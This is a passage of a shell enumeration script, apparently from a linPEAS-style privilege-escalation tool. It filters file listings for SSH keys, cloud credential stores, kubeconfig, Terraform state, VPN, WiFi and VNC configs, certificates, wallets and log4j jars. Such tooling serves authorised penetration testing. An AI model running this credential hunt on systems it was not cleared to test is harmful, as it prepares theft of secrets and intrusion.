"$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/init.d/|/sbin/|/usr/share/' | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "rpcd$" | sort | uniq | head -n 70) + PSTORAGE_BITCOIN=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "bitcoin\.conf$" | sort | uniq | head -n 70) + PSTORAGE_HOSTAPD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "hostapd\.conf$" | sort | uniq | head -n 70) + PSTORAGE_WIFI_CONNECTIONS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}etc" | grep -E "system-connections$" | sort | uniq | head -n 70) + PSTORAGE_PAM_AUTH=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}etc" | grep -E "pam\.d$" | sort | uniq | head -n 70) + PSTORAGE_NFS_EXPORTS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}etc" | grep -E "exports$" | sort | uniq | head -n 70) + PSTORAGE_GLUSTERFS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "glusterfs\.pem$|glusterfs\.ca$|glusterfs\.key$" | sort | uniq | head -n 70) + PSTORAGE_ANACONDA_KS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "anaconda-ks\.cfg$" | sort | uniq | head -n 70) + PSTORAGE_TERRAFORM=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E ".*\.tfstate$|.*\.tf$" | sort | uniq | head -n 70) + PSTORAGE_RACOON=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "racoon\.conf$|psk\.txt$" | sort | uniq | head -n 70) + PSTORAGE_KUBERNETES=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "kubeconfig$|bootstrap-kubeconfig$|kubelet-kubeconfig$|kubelet\.conf$|psk\.txt$|\.kube.*$|kubelet$|kube-proxy$|kubernetes$" | sort | uniq | head -n 70) + PSTORAGE_VNC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/mime/' | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "\.vnc$|.*vnc.*\.c.*nf.*$|.*vnc.*\.ini$|.*vnc.*\.txt$|.*vnc.*\.xml$" | sort | uniq | head -n 70) + PSTORAGE_LDAP=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "ldap$" | sort | uniq | head -n 70) + PSTORAGE_LOG4SHELL=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}opt|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}sbin|^$GREPHOMESEARCH|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}lib|^${ROOT_FOLDER}lib64|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}var|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}lib32|^${ROOT_FOLDER}media" | grep -E "log4j-core.*\.jar$" | sort | uniq | head -n 70) + PSTORAGE_OPENVPN=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E ".*\.ovpn$" | sort | uniq | head -n 70) + PSTORAGE_SSH=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "id_dsa.*$|id_rsa.*$|known_hosts$|authorized_hosts$|authorized_keys$|.*\.pub$" | sort | uniq | head -n 70) + PSTORAGE_CERTSB4=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/usr/share/|/usr/local/lib/|/usr/lib.*' | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E ".*\.pem$|.*\.cer$|.*\.crt$" | sort | uniq | head -n 70) + PSTORAGE_CERTSBIN=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/usr/share/|/usr/local/lib/|/usr/lib/.*|^/usr/share/|/usr/local/lib/|/usr/lib/.*' | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E ".*\.csr$|.*\.der$" | sort | uniq | head -n 70) + PSTORAGE_CERTSCLIENT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/usr/share/|/usr/local/lib/|/usr/lib/.*' | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E ".*\.pfx$|.*\.p12$" | sort | uniq | head -n 70) + PSTORAGE_SSH_AGENTS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '.dll' | grep -E "^${ROOT_FOLDER}tmp" | grep -E "agent.*$" | sort | uniq | head -n 70) + PSTORAGE_SSH_CONFIG=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}usr|^$GREPHOMESEARCH" | grep -E "ssh.*config$" | sort | uniq | head -n 70) + PSTORAGE_SNYK=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "snyk\.json$|snyk\.config\.json$" | sort | uniq | head -n 70) + PSTORAGE_CLOUD_CREDENTIALS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_SYSTEM\n$FIND_SRV\n$FIND_SBIN\n$FIND_MNT\n$FIND_OPT\n$FIND_BIN\n$FIND_HOMESEARCH\n$FIND_VAR\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_CDROM\n$FIND_CACHE\n$FIND_ETC\n$FIND_RUN\n$FIND_SYS\n$FIND_USR\n$FIND_LIB\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_CONCOURSE_AUTH\n$FIND_APPLICATIONS\n$FIND_SNAP\n$FIND_MEDIA\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_OPT\n$FIND_DIR_SNAP\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_BIN\n$FIND_DIR_ETC\n$FIND_DIR_SBIN\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MEDIA\n$FIND_DIR_PRIVATE\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^$GREPHOMESEARCH|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}var|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^${ROOT_FOLDER}private|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}snap|^${ROOT_FOLDER}sbin" | grep -E "credentials\.db$|legacy_credentials\.db$|adc\.json$|\.boto$|\.credentials\.json$|firebase-tools\.json$|access_tokens\.db$|access_tokens\.json$|accessTokens\.json$|gcloud$|legacy_credentials$|azureProfile\.json$|TokenCache\.dat$|AzureRMContext\.json$|ErrorRecords$|TokenCache\.dat$|\.bluemix$|doctl$" | sort | uniq | head -n 70) + 